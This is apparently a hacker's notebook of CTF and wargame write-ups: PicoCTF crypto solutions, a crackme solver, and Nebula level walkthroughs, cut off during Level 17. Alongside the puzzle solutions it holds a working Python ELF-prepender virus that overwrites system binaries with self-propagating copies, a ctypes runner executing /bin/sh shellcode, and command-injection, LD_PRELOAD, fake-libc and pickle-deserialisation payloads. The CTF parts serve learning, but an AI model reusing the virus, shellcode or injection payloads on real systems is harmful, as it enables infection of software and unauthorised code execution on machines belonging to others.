found = 'e'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f646563
found = 'c'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..............................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64656372
found = 'r'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f6465637279
found = 'y'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f646563727970
found = 'p'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64656372797074
found = 't'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa......................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f6465637279707469
found = 'i'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa........................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64656372797074696f
found = 'o'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaa..........................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64656372797074696f6e
found = 'n'
>>> aaaaaaaaaaaaaaaaaaaaaaaaaa............................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64656372797074696f6e0d
'ound = '
>>> aaaaaaaaaaaaaaaaaaaaaaaa..............................................................................................................................
>>> aaaaaaaaaaaaaaaaaaaaaaaa20485454502f312e310d0a436f6f6b69653a20666c61673d636f6e67726174735f6f6e5f796f75725f66697273745f6563625f64656372797074696f6e0d0a
found = '
'
secret_data = ' HTTP/1.1
Cookie: flag=congrats_on_your_first_ecb_decryption
'

Reference

https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

# PicoCTF 2k14 - Block


# cat block.py
#!/usr/bin/python2
from sys import argv, exit
import struct

SBoxes = [[15, 1, 7, 0, 9, 6, 2, 14, 11, 8, 5, 3, 12, 13, 4, 10], [3, 7, 8, 9, 11, 0, 15, 13, 4, 1, 10, 2, 14, 6, 12, 5], [4, 12, 9, 8, 5, 13, 11, 7, 6, 3, 10, 14, 15, 1, 2, 0], [2, 4, 10, 5, 7, 13, 1, 15, 0, 11, 3, 12, 14, 9, 8, 6], [3, 8, 0, 2, 13, 14, 5, 11, 9, 1, 7, 12, 4, 6, 10, 15], [14, 12, 7, 0, 11, 4, 13, 15, 10, 3, 8, 9, 2, 6, 1, 5]]

SInvBoxes = [[3, 1, 6, 11, 14, 10, 5, 2, 9, 4, 15, 8, 12, 13, 7, 0], [5, 9, 11, 0, 8, 15, 13, 1, 2, 3, 10, 4, 14, 7, 12, 6], [15, 13, 14, 9, 0, 4, 8, 7, 3, 2, 10, 6, 1, 5, 11, 12], [8, 6, 0, 10, 1, 3, 15, 4, 14, 13, 2, 9, 11, 5, 12, 7], [2, 9, 3, 0, 12, 6, 13, 10, 1, 8, 14, 7, 11, 4, 5, 15], [3, 14, 12, 9, 5, 15, 13, 2, 10, 11, 8, 4, 1, 6, 0, 7]]

def S(block, SBoxes):
    output = 0
    for i in xrange(0, len(SBoxes)):
        output |= SBoxes[i][(block >> 4*i) & 0b1111] << 4*i

    return output


PBox = [13, 3, 15, 23, 6, 5, 22, 21, 19, 1, 18, 17, 20, 10, 7, 8, 12, 2, 16, 9, 14, 0, 11, 4]
PInvBox = [21, 9, 17, 1, 23, 5, 4, 14, 15, 19, 13, 22, 16, 0, 20, 2, 18, 11, 10, 8, 12, 7, 6, 3]
def permute(block, pbox):
    output = 0
    for i in xrange(24):
        bit = (block >> pbox[i]) & 1
        output |= (bit << i)
    return output

def encrypt_data(data, key):
    enc = ""
    for i in xrange(0, len(data), 3):
        block = int(data[i:i+3].encode('hex'), 16)

        for j in xrange(0, 3):
            block ^= key
            block = S(block, SBoxes)
            block = permute(block, PBox)

        block ^= key

        enc += ("%06x" % block).decode('hex')

    return enc

def decrypt_data(data, key):
    dec = ""
    for i in xrange(0, len(data), 3):
        block = int(data[i:i+3].encode('hex'), 16)

        block ^= key
        for j in xrange(0, 3):
            block = permute(block, PInvBox)
            block = S(block, SInvBoxes)
            block ^= key

        dec += ("%06x" % block).decode('hex')

    return dec

def encrypt(data, key1, key2):
    encrypted = encrypt_data(data, key1)
    encrypted = encrypt_data(encrypted, key2)
    return encrypted

def decrypt(data, key1, key2):
    decrypted = decrypt_data(data, key2)
    decrypted = decrypt_data(decrypted, key1)
    return decrypted

def usage():
    print "Usage: %s [encrypt/decrypt] [key1] [key2] [in_file] [out_file]" % argv[0]
    exit(1)

def main():
    if len(argv) != 6:
        usage()

    if len(argv[2]) > 6:
        print "key1 is too large"
    elif len(argv[3]) > 6:
        print "key2 is too large"

    key1 = int(argv[2], 16)
    key2 = int(argv[3], 16)

    in_file = open(argv[4], "r")

    data = ""
    while True:
        read = in_file.read(1024)
        if len(read) == 0:
            break

        data += read

    in_file.close()

    if argv[1] == "encrypt":
        data = "message: " + data
        if len(data) % 3 != 0: #pad
            data += ("\x00" * (3 - (len(data) % 3)))

        output = encrypt(data, key1, key2)
    elif argv[1] == "decrypt":
        output = decrypt(data, key1, key2)
    else:
        usage()


    out_file = open(argv[5], "w")
    out_file.write(output)
    out_file.close()

if __name__ == "__main__":
    main()
# cat meet_in_the_middle.py
from block import encrypt_data, decrypt, decrypt_data

f = open('encrypted', 'r')
data = f.read()
f.close()

enc = []
print '+ enc'
for i in range(0, 0xffffff + 1):
        enc.append(encrypt_data('message: ', i).encode('hex'))

dec = []
print '+ dec'
for i in range(0, 0xffffff + 1):
        dec.append(decrypt_data(data[:9], i).encode('hex'))

print '+ check'
match = list(set(enc) & set(dec))[0]
key1 = enc.index(match)
key2 = dec.index(match)
print match, hex(key1)[2:], hex(key2)[2:]

print decrypt(data, key1, key2)

# pypy meet_in_the_middle.py
+ enc
+ dec
+ check
e06e0453ea35d9beb6 a6bffa 6fa0d
message: c57d156f9cbcdb526b8544df95d9cb

Reference

https://en.wikipedia.org/wiki/Meet-in-the-middle_attack

# PicoCTF 2k14 - Bit Puzzle


# cat bitpuzzle.py 
from z3 import *

v1 = BitVec('v1', 32)
v2 = BitVec('v2', 32)
v3 = BitVec('v3', 32)
v4 = BitVec('v4', 32)
v5 = BitVec('v5', 32)
v6 = BitVec('v6', 32)
v7 = BitVec('v7', 32)
v8 = BitVec('v8', 32)

s = Solver()

s.add(v3 + v2 == 0xc0dcdfce)
s.add(v1 + v2 == 0xd5d3dddc)
s.add((5 * v2) + (3 * v1) == 0x404a7666)
s.add(v1 ^ v4 == 0x18030607)
s.add(v4 & v1 == 0x666c6970)
s.add(v5 * v2 == 0xb180902b)
s.add(v3 * v5 == 0x3e436b5f)
s.add(v5 + (2 * v6) == 0x5c483831)
s.add(v6 & 0x70000000 == 0x70000000)
s.add(v6 / v7 == 1)
s.add(v6 % v7 == 0xe000cec)
s.add((3 * v5) + (2 * v8) == 0x3726eb17)
s.add((7 * v8) + (4 * v3) == 0x8b0b922d)
s.add(v4 + (3 * v8) == 0xb9cf9c91)

import struct

d = {}

if s.check() == sat:
 m = s.model()
 print m
 for v in m:
  d[str(v)] = struct.pack('<I', int(str(m[v])))

flag = ''

for k in sorted(d):
 flag += d[k]

print flag

# python bitpuzzle.py 
[v6 = 1953459295,
 v7 = 1718574963,
 v2 = 1600613993,
 v4 = 1852795252,
 v8 = 1853187679,
 v3 = 1635086693,
 v1 = 1986817907,
 v5 = 1936285555]
solving_equations_is_lots_of_fun

# PicoCTF 2k14 - Low Entropy


# cat low_entropy.py
import Crypt
import gmpy
import Socket

publickey = 0xc20a1d8b3903e1864d14a4d1f32ce57e4665fc5683960d2f7c0f30d5d247f5fa264fa66b49e801943ab68be3d9a4b393ae22963888bf145f07101616e62e0db2b04644524516c966d8923acf12af049a1d9d6fe3e786763613ee9b8f541291dcf8f0ac9dccc5d47565ef332d466bc80dc5763f1b1139f14d3c0bae072725815f
ciphertext = 0x49f573321bdb3ad0a78f0e0c7cd4f4aa2a6d5911c90540ddbbaf067c6aabaccde78c8ff70c5a4abe7d4efa19074a5249b2e6525a0168c0c49535bc993efb7e2c221f4f349a014477d4134f03413fd7241303e634499313034dbb4ac96606faed5de01e784f2706e85bf3e814f5f88027b8aeccf18c928821c9d2d830b5050a1e

cont = True

while cont:
 s = Socket.Socket(Socket.TCP)
 s.connect('vuln2014.picoctf.com', 51818)
 s.read()
 recv = s.read()
 if recv != '':
  n = int('0x' + recv, 16)
  p = Crypt.egcd(publickey, n)[0]
  if p != 1:
   cont = False
 s.close()

q = publickey / p
n = p * q
totien = (p - 1) * (q - 1)
e = 65537
d =  gmpy.invert(e, totien)
cleartext = pow(ciphertext, d, n)

print hex(cleartext)[2:].decode('hex')

# python low_entropy.py
[i] Sock: Connecting...
[i] Sock: Connecting...
[i] Sock: Connecting...
[i] Sock: Connecting...
Good thing no one can read this! I'd hate for them to know that the flag is make_sure_your_rng_generates_lotsa_primes.

# PicoCTF 2k14 - ECC


Problem

String Encoding: ASCII

def STR(a):
    a = str(a)
    # Yes, this is a little bit silly :-)
    for i in range(0, len(a) - 1, 2):
            print(chr(int(a[i:i+2]))),

e.g. STR(7269767679) = "HELLO"

Cryptosystem:
Elliptic Curve: y^2 = x^3 + ax + b mod n
a = 0
b = ?
n = 928669833265826932708591

Encryption: C = e * M mod n
Decryption: M = d * C mod n
e = 141597355687225811174313
d = 87441340171043308346177
C = (236857987845294655469221, 12418605208975891779391)
STR(M.x) + STR(M.y) = ?

Solution

# apt-add-repository -y ppa:aims/sagemath
# apt-get update
# apt-get install sagemath-upstream-binary
# sage

sage: y = 12418605208975891779391
sage: x = 236857987845294655469221
sage: a = 0
sage: n = 928669833265826932708591
sage: b = (y**2 - x**3 - a*x) % n
sage: b
268892790095131465246420

sage: F = FiniteField(n)
sage: E = EllipticCurve(F, [a, b])
sage: G = E.point((x, y))
sage: d = 87441340171043308346177
sage: M = G * d
sage: M
(6976767380847367326785 : 828669833265826932708578 : 1)

In [1]: print STR(6976767380847367326785), STR(828669833265826932708578)
ELLIPTIC CURVES ARE FUN

References

https://www.youtube.com/watch?v=vnpZXJL6QCQ

# PicoCTF 2k13 - Harder serial


# cat harder_serial.py
#!/usr/bin/env python
# Looks like the serial number verification for space ships is similar to that
# of your robot. Try to find a serial that verifies for this space ship

import sys
print ("Please enter a valid serial number from your RoboCorpIntergalactic purchase")
if len(sys.argv) < 2:
 print ("Usage: %s [serial number]"%sys.argv[0])
 exit()

print ("#>" + sys.argv[1] + "<#")

def check_serial(serial):
 if (not set(serial).issubset(set(map(str,range(10))))):
  print ("only numbers allowed")
  return False
 if len(serial) != 20:
  return False
 if int(serial[15]) + int(serial[4]) != 10:
  return False
 if int(serial[1]) * int(serial[18]) != 2:
  return False
 if int(serial[15]) / int(serial[9]) != 1:
  return False
 if int(serial[17]) - int(serial[0]) != 4:
  return False
 if int(serial[5]) - int(serial[17]) != -1:
  return False
 if int(serial[15]) - int(serial[1]) != 5:
  return False
 if int(serial[1]) * int(serial[10]) != 18:
  return False
 if int(serial[8]) + int(serial[13]) != 14:
  return False
 if int(serial[18]) * int(serial[8]) != 5:
  return False
 if int(serial[4]) * int(serial[11]) != 0:
  return False
 if int(serial[8]) + int(serial[9]) != 12:
  return False
 if int(serial[12]) - int(serial[19]) != 1:
  return False
 if int(serial[9]) % int(serial[17]) != 7:
  return False
 if int(serial[14]) * int(serial[16]) != 40:
  return False
 if int(serial[7]) - int(serial[4]) != 1:
  return False
 if int(serial[6]) + int(serial[0]) != 6:
  return False
 if int(serial[2]) - int(serial[16]) != 0:
  return False
 if int(serial[4]) - int(serial[6]) != 1:
  return False
 if int(serial[0]) % int(serial[5]) != 4:
  return False
 if int(serial[5]) * int(serial[11]) != 0:
  return False
 if int(serial[10]) % int(serial[15]) != 2:
  return False
 if int(serial[11]) / int(serial[3]) != 0:
  return False
 if int(serial[14]) - int(serial[13]) != -4:
  return False
 if int(serial[18]) + int(serial[19]) != 3:
  return False
 return True

if check_serial(sys.argv[1]):
 print ("Thank you! Your product has been verified!")
else:
 print ("I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number")

# cat sol.py 
from z3 import *

serial = IntVector('serial', 20)

s = Solver()
 
s.add(0 <= serial[0]); s.add(0 <= serial[1])
s.add(0 <= serial[2]); s.add(1 <= serial[3])
s.add(0 <= serial[4]); s.add(0 <= serial[5])
s.add(0 <= serial[6]); s.add(0 <= serial[7])
s.add(0 <= serial[8]); s.add(1 <= serial[9])
s.add(0 <= serial[10]); s.add(0 <= serial[11])
s.add(0 <= serial[12]); s.add(0 <= serial[13])
s.add(0 <= serial[14]); s.add(0 <= serial[15])
s.add(0 <= serial[16]); s.add(0 <= serial[17])
s.add(0 <= serial[18]); s.add(0 <= serial[19])

s.add(serial[0] < 10); s.add(serial[1] < 10)
s.add(serial[2] < 10); s.add(serial[3] < 10)
s.add(serial[4] < 10); s.add(serial[5] < 10)
s.add(serial[6] < 10); s.add(serial[7] < 10)
s.add(serial[8] < 10); s.add(serial[9] < 10)
s.add(serial[10] < 10); s.add(serial[11] < 10)
s.add(serial[12] < 10); s.add(serial[13] < 10)
s.add(serial[14] < 10); s.add(serial[15] < 10)
s.add(serial[16] < 10); s.add(serial[17] < 10)
s.add(serial[18] < 10); s.add(serial[19] < 10)

s.add(serial[15] + serial[4] == 10);
s.add(serial[1] * serial[18] == 2)
s.add(serial[15] / serial[9] == 1);
s.add(serial[17] - serial[0] == 4)
s.add(serial[5] - serial[17] == -1);
s.add(serial[15] - serial[1] == 5)
s.add(serial[1] * serial[10] == 18);
s.add(serial[8] + serial[13] == 14)
s.add(serial[18] * serial[8] == 5);
s.add(serial[4] * serial[11] == 0)
s.add(serial[8] + serial[9] == 12);
s.add(serial[12] - serial[19] == 1)
s.add(serial[9] % serial[17] == 7);
s.add(serial[14] * serial[16] == 40)
s.add(serial[7] - serial[4] == 1);
s.add(serial[6] + serial[0] == 6)
s.add(serial[2] - serial[16] == 0);
s.add(serial[4] - serial[6] == 1)
s.add(serial[0] % serial[5] == 4);
s.add(serial[5] * serial[11] == 0)
s.add(serial[10] % serial[15] == 2);
s.add(serial[11] / serial[3] == 0)
s.add(serial[14] - serial[13] == -4);
s.add(serial[18] + serial[19] == 3)

if s.check() == sat:
 print s.model()

$ python sol.py
[serial__17 = 8,
 serial__19 = 2,
 serial__14 = 5,
 serial__9 = 7,
 serial__7 = 4,
 serial__18 = 1,
 serial__11 = 0,
 serial__3 = 1,
 serial__16 = 8,
 serial__1 = 2,
 serial__4 = 3,
 serial__6 = 2,
 serial__15 = 7,
 serial__8 = 5,
 serial__10 = 9,
 serial__13 = 9,
 serial__5 = 7,
 serial__2 = 8,
 serial__0 = 4,
 serial__12 = 3]

# ELF prepender in python


# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 34K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1a041b19449828face10d6ddcf7cffe259196923, stripped
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)

# ./infect.py @ /usr/bin/id

# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: Python script, ASCII text executable, with very long lines
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id

# cat infect.py
#!/usr/bin/env python

from base64 import b64decode, b64encode
from os import chmod, chown, execv, fork, path as p, remove, stat, utime, wait
from sys import argv
from zlib import compress, decompress



class IO:

 def __init__(self, path):
  self.path = path
  self.stat = stat(path)
  if self.data is None:
   self.data = self.Encode()

 def Decode(self, data):
  return decompress(b64decode(data))

 def Encode(self):
  with open(self.path, 'rb') as f:
   data = f.read()
  return b64encode(compress(data))

 def WriteToDisk(self, data = None):
  if data == None:
   data = self.Decode(self.data)
  with open(self.path, 'wb') as f:
   f.write(data)
  chown(self.path, self.stat.st_uid, self.stat.st_gid)
  chmod(self.path, self.stat.st_mode)
  utime(self.path, (self.stat.st_atime, self.stat.st_mtime))



class Host(IO):

 def __init__(self, path):
  self.infected = False
  self.data = False
  IO.__init__(self, path)

 def Infected(self):
  infected = 'self.infected = True'
  data = self.Decode(self.Encode())
  if infected in data[:1000]:
   return True
  else:
   return False

 def Run(self, arg):
  execv(arg[0], arg)



class Virus(IO):

 def __init__(self, arg):
  self.arg = arg
  self.data = None
  IO.__init__(self, p.abspath(__file__))

 def InfectHost(self, path):
  host = Host(path)
  if not host.Infected():
   infect = self.Decode(self.Encode())
   infect = infect.replace('False', 'True', 1)
   infect = infect.replace('False', "'" + host.Encode() + "'", 1)
   host.WriteToDisk(infect)

 def Run(self):
  if len(self.arg) > 1 and self.arg[1] == '@':
   self.InfectHost(self.arg[2])
  else:
   # First: Run the host program
   self.RunHost()
   # Second: Do other things like ...
   ## - Find and infect new hosts
   ## - Exfiltrate data
   ## - ...

 def RunHost(self):
  data = self.Encode()
  host = Host(self.path)
  host.WriteToDisk()
  pid = fork()
  if pid == 0:
   host.Run(self.arg)
  else:
   wait()
   self.WriteToDisk()



if __name__ == "__main__": Virus(argv).Run()

# Execute shellcode in python


$ cat runshellcode.py
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
from sys import argv


libc = CDLL('libc.so.6')

shellcode = argv[1].replace('\\x', '').decode('hex')

sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()
$ uname -m
x86_64
$ # 23 bytes - Gu Zhengxiong
$ python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
len = 23
0x1000: xor esi, esi
0x1002: movabs  rbx, 0x68732f2f6e69622f
0x100c: push  rsi
0x100d: push  rbx
0x100e: push  rsp
0x100f: pop rdi
0x1010: push  0x3b
0x1012: pop rax
0x1013: xor edx, edx
0x1015: syscall
$ python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
$
$ uname -m
i686
$ # 21 bytes - Gu Zhengxiong
$ python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
len = 21
0x1000: xor ecx, ecx
0x1002: mul ecx
0x1004: mov al, 0xb
0x1006: push  ecx
0x1007: push  0x68732f2f
0x100c: push  0x6e69622f
0x1011: mov ebx, esp
0x1013: int 0x80
$ python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
$
$ cat disassemble.py
from sys import argv
from capstone import *

CODE = argv[3].replace('\\x', '').decode('hex')
print 'len =', len(CODE)

ARCH = {
  'all'   : CS_ARCH_ALL,
  'arm'   : CS_ARCH_ARM,
  'arm64'   : CS_ARCH_ARM64,
  'mips'    : CS_ARCH_MIPS,
  'ppc'   : CS_ARCH_PPC,
  'x86'   : CS_ARCH_X86,
  'xcore'   : CS_ARCH_XCORE
}

MODE = {
  '16'    : CS_MODE_16, 
  '32'    : CS_MODE_32,
  '64'    : CS_MODE_64,
  'arm'   : CS_MODE_ARM,
  'be'    : CS_MODE_BIG_ENDIAN,
  'le'    : CS_MODE_LITTLE_ENDIAN,
  'micro'   : CS_MODE_MICRO,
  'n64'   : CS_MODE_N64,
  'thumb'   : CS_MODE_THUMB
}

md = Cs(ARCH[argv[1]], MODE[argv[2]])
for i in md.disasm(CODE, 0x1000):
  print '0x%x:\t%s\t%s' % (i.address, i.mnemonic, i.op_str)

# Serializing functions with marshal


# cat serializer.py
import base64
import marshal

def function(msg):
 print msg

print base64.b64encode(marshal.dumps(function.func_code))
# cat runner.py 
import base64
import marshal
import sys
import types

code = marshal.loads(base64.b64decode(sys.argv[1]))
func = types.FunctionType(code, globals())
func('Test')
# python serializer.py
YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
# python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
Test

# Nebula


Level 00

$ find / -user flag00 -perm -4000 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
$ /bin/.../flag00
Congrats, now run getflag to get your flag!
$ /bin/getflag
You have successfully executed getflag on a target account

Level 01

$ ln -s /bin/getflag /tmp/echo
$ PATH=/tmp:$PATH
$ /home/flag01/flag01
You have successfully executed getflag on a target account

Level 02

$ USER=';/bin/getflag;#'
$ /home/flag02/flag02
about to call system("/bin/echo ;/bin/getflag;# is cool")

You have successfully executed getflag on a target account

Level 03

$ echo -en '#!/bin/sh\n\n/bin/getflag > /tmp/flag03' > /home/flag03/writable.d/l03.sh
$ cat /tmp/flag03
You have successfully executed getflag on a target account

Level 04

$ ln -s /home/flag04/token /tmp/t0k3n
$ /home/flag04/flag04 /tmp/t0k3n
06508b5e-8909-4f38-b630-fdb148a848a2
$ su -l flag04
Password: 06508b5e-8909-4f38-b630-fdb148a848a2
$ /bin/getflag
You have successfully executed getflag on a target account

Level 05

$ tar xvzf /home/flag05/.backup/backup-19072011.tgz -C /tmp/.
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
$ ssh -i /tmp/.ssh/id_rsa flag05@localhost /bin/getflag
You have successfully executed getflag on a target account

Level 06

$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > /tmp/flag06.pw
$ john /tmp/flag06.pw 
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
$ su -l flag06
Password: hello
$ /bin/getflag
You have successfully executed getflag on a target account

Level 07

$ nc localhost 7007
GET /index.cgi?Host=localhost|/bin/getflag
Content-type: text/html

<html><head><title>Ping results</title></head><body><pre>
You have successfully executed getflag on a target account
</pre></body></html>

Level 08

$ wireshark capture.pcap
# Follow TCP Stream + Hexdump
000000D6  00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Password: 
000000B9  62 b
000000BA  61 a
000000BB  63 c
000000BC  6b k
000000BD  64 d
000000BE  6f o
000000BF  6f o
000000C0  72 r
000000C1  7f . <DEL>
000000C2  7f . <DEL>
000000C3  7f . <DEL>
000000C4  30 0
000000C5  30 0
000000C6  52 R
000000C7  6d m
000000C8  38 8
000000C9  7f . <DEL>
000000CA  61 a
000000CB  74 t
000000CC  65 e
000000CD  0d .
$ su -l flag08
Password: backd00Rmate
$ /bin/getflag 
You have successfully executed getflag on a target account

Level 09

$ echo '[email ${`/bin/echo;/usr/bin/id;/bin/getflag;/bin/echo`}]' > /tmp/l09
$ /home/flag09/flag09 /tmp/l09
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined variable: 
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
You have successfully executed getflag on a target account

 in /home/flag09/flag09.php(15) : regexp code on line 1

Level 10

$ nc -v -k -l localhost 18211
$ for i in `seq 1 1000`; do ln -f -s /etc/hostname /tmp/token; /home/flag10/flag10 /tmp/token localhost & ln -f -s /home/flag10/token /tmp/token; done
$ nc -v -k -l localhost 18211
Connection from localhost port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ su -l flag10
Password: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ /bin/getflag
You have successfully executed getflag on a target account

Level 11

$ PATH=/tmp:$PATH
$ ln -s /bin/getflag /tmp/c
$ cat /tmp/11a.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = 'c'

payload = command
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11a.py
$ /tmp/11a.py | /home/flag11/flag11
You have successfully executed getflag on a target account
$ TEMP=/tmp
$ cat /tmp/11b.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = '/bin/getflag;'
comment = '#'
padding = 'A' * (1024 - len(command) - len(comment))

payload = command + comment + padding
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11b.py
$ /tmp/11b.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Level 12

$  nc localhost 50001 
Password:  4754a4f4bd5787accd33de887b9250a0691dd198; /bin/getflag > /tmp/flag12 # 
Congrats, your token is 413**CARRIER LOST**
$  cat /tmp/flag12 
You have successfully executed getflag on a target account

Level 13

$ cp /home/flag13/flag13 /tmp/.
$ echo 'int getuid() { return 1000; }' > /tmp/libfake.c
$ gcc -shared /tmp/libfake.c -o /tmp/libfake.so
$ LD_PRELOAD=/tmp/libfake.so /tmp/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su -l flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
$ /bin/getflag
You have successfully executed getflag on a target account

Level 14

$ /home/flag14/flag14 -e
123456
13579;
$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
$ cat /tmp/l14.py
#!/usr/bin/env python

import sys

token = sys.argv[1]

decrypted = ''
i = 0

for c in token:
 print '[' + c + '] -->',
 r = chr(ord(c) - i % 255)
 print r
 i += 1
 decrypted += r

print decrypted
$ /tmp/l14.py 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
[8] --> 8
[5] --> 4
[7] --> 5
[:] --> 7
[g] --> c
[6] --> 1
[7] --> 1
[?] --> 8
[5] --> -
[A] --> 8
[B] --> 8
[B] --> 7
[o] --> c
[:] --> -
[B] --> 4
[t] --> e
[D] --> 4
[A] --> 0
[?] --> -
[t] --> a
[I] --> 5
[v] --> a
[L] --> 6
[D] --> -
[K] --> 3
[L] --> 3
[{] --> a
[M] --> 2
[Q] --> 5
[P] --> 3
[S] --> 5
[R] --> 3
[Q] --> 1
[W] --> 6
[W] --> 5
[.] --> 

8457c118-887c-4e40-a5a6-33a25353165
$ su -l flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
$ /bin/getflag
You have successfully executed getflag on a target account

Level 15

$ strace /home/flag15/flag15
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
...
$ cat /tmp/libfake.c 
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
 system(SHELL);
 return 0;
}
$ cat /tmp/version 
GLIBC_2.0{};
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=/tmp/version,-Bstatic -o /var/tmp/flag15/libc.so.6 /tmp/libfake.c
$ /home/flag15/flag15
$ /bin/getflag
You have successfully executed getflag on a target account

Level 16

$ cat /tmp/L16
#!/bin/bash

/bin/getflag > /tmp/flag16
$ nc localhost 1616
GET /index.cgi?username=`/*/L16`
Content-type: text/html

<html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>
$ cat /tmp/flag16
You have successfully executed getflag on a target account

Level 17

$ cat /tmp/l17.py
import os
import pickle
import socket

class GetFlag(object):
 def __reduce__(self):
  return (os.system, ('/bin/getflag > /tmp/flag17', ))

